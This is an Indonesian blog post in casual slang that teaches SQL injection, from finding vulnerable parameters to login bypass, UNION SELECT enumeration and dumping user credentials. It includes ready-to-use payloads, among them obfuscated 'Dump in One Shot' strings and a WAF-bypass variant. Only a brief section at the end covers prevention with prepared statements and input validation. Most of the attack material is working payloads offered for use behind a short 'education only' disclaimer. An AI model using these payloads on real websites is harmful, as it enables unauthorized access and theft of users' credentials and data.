Yo bro! Pernah denger istilah SQL Injection? Ini tuh teknik hacking yang bisa nge-bypass login, nyolong data, sampe ngehapus database orang! Wkwk. Di artikel ini, gua bakal jelasin cara mainnya, mulai dari basic sampe teknik dewa kayak Dump in One Shot (DIOS). Tapi inget bro, ini buat edukasi aja, jangan dipake buat hal-hal ilegal ya! 🔥
🔥 Pengertian SQL Injection
SQL Injection (SQLi) adalah teknik hacking yang memanfaatkan celah keamanan dalam database sebuah website. Serangan ini memungkinkan attacker untuk mengakses, memodifikasi, atau bahkan menghapus data di dalam database hanya dengan memasukkan query SQL berbahaya ke dalam input yang tidak terfilter dengan baik.
🎯 Apa itu SQL Injection?
SQLi terjadi ketika aplikasi tidak memvalidasi input dengan benar, sehingga attacker bisa menyisipkan perintah SQL ke dalam query database. Dengan teknik ini, attacker bisa:
- Bypass login authentication
- Dump data sensitif dari database
- Mengambil alih akun admin
- Menjalankan perintah berbahaya
🔎 Mengenali Target yang Rentan
Sebelum eksekusi, kita harus tahu dulu mana target yang rentan. Beberapa indikator umum:
1️⃣ Parameter URL yang bisa di-injeksi
Contoh:
https://example.com/index.php?id=1
Jika ketika kita menambahkan ' OR '1'='1
dan halaman tetap tampil normal, berarti bisa dieksploitasi.
2️⃣ Form Input yang Rawan SQLi
Misalnya form login:
Username: admin' OR '1'='1
Password: bebas
Kalau bisa masuk tanpa password, berarti formnya rentan SQLi.
3️⃣ Response Error yang Menunjukkan Kerentanan
Kalau sebuah website mengembalikan error SQL seperti ini:
You have an error in your SQL syntax; check the manual...
Itu tanda bahwa aplikasi tidak meng-handle query dengan benar, dan bisa di-exploit.
🛠️ Payload Dasar SQL Injection
1️⃣ Login Bypass dengan SQLi
Masukkan ini di form login:
admin' OR '1'='1 -- -
Jika berhasil masuk tanpa password, berarti sistemnya rentan.
2️⃣ Enumerasi Database dengan UNION SELECT
Coba cari jumlah kolom dulu:
https://example.com/index.php?id=1 ORDER BY 3 -- -
Jika error, kurangi angka 3 ke 2 atau tambah hingga tidak error.
Jika sudah tahu jumlah kolom, gunakan UNION SELECT:
https://example.com/index.php?id=-1 UNION SELECT 1,2,3 -- -
📂 Mendapatkan Informasi Database
1️⃣ Mengecek Versi Database
UNION SELECT @@version,2,3 -- -
Kalau berhasil, akan muncul versi database di halaman.
2️⃣ Mengekspose Nama Tabel
UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database() -- -
3️⃣ Dumping Data
Setelah dapat nama tabel, coba dump username & password:
UNION SELECT username, password,3 FROM users -- -
⚡ Teknik Dump in One Shot (DIOS)
DIOS adalah teknik dumping data dalam satu query tanpa banyak interaksi. Contoh payload DIOS dasar:
concat(0x3c623e44756d7020696e204f6e652053686f743c2f623e3c62723e,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c)
Bypass WAF dengan DIOS:
concat(0x3c623e44756d7020696e204f6e652053686f743c2f623e,0x3c62723e,version(),0x3c62723e,user(),0x3c62723e,database(),@c:=0x00,if((select count(*) from /*!50000information_schema*/.columns /*!50000where*/ table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat (@c,0x3c62723e,/*!50000table_name*/,0x2e,/*!50000column_name*/)),0x00,0x00),@c)
Dump data user dan password:
(/*!50000SELECT*/+/*!50000GROUP_CONCAT(username,0x203a3a20,password+SEPARATOR+0x3c62723e)*/+/*!50000FROM*/+users)
🔥 Cara Mencegah SQL Injection
Supaya sistem aman dari SQL Injection, berikut beberapa langkah yang bisa dilakukan:
1️⃣ Gunakan Parameterized Query
Alih-alih langsung memasukkan input ke dalam query, gunakan prepared statement:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
2️⃣ Nonaktifkan Error Reporting yang Berlebihan
Jangan biarkan website menampilkan error SQL yang bisa dimanfaatkan attacker.
3️⃣ Validasi Input yang Ketat
Hanya izinkan karakter tertentu dalam input. Contoh regex untuk input angka:
if (!preg_match("/^[0-9]+$/", $id)) {
die("Invalid input");
}
🚀 Kesimpulan
SQL Injection adalah teknik serangan berbahaya yang bisa merusak sistem jika tidak ditangani dengan benar. Dengan memahami cara kerjanya, kita bisa lebih waspada dan mengamankan sistem dari eksploitasi. Jangan lupa, hacking itu harus bertanggung jawab! 🔥
0 Komentar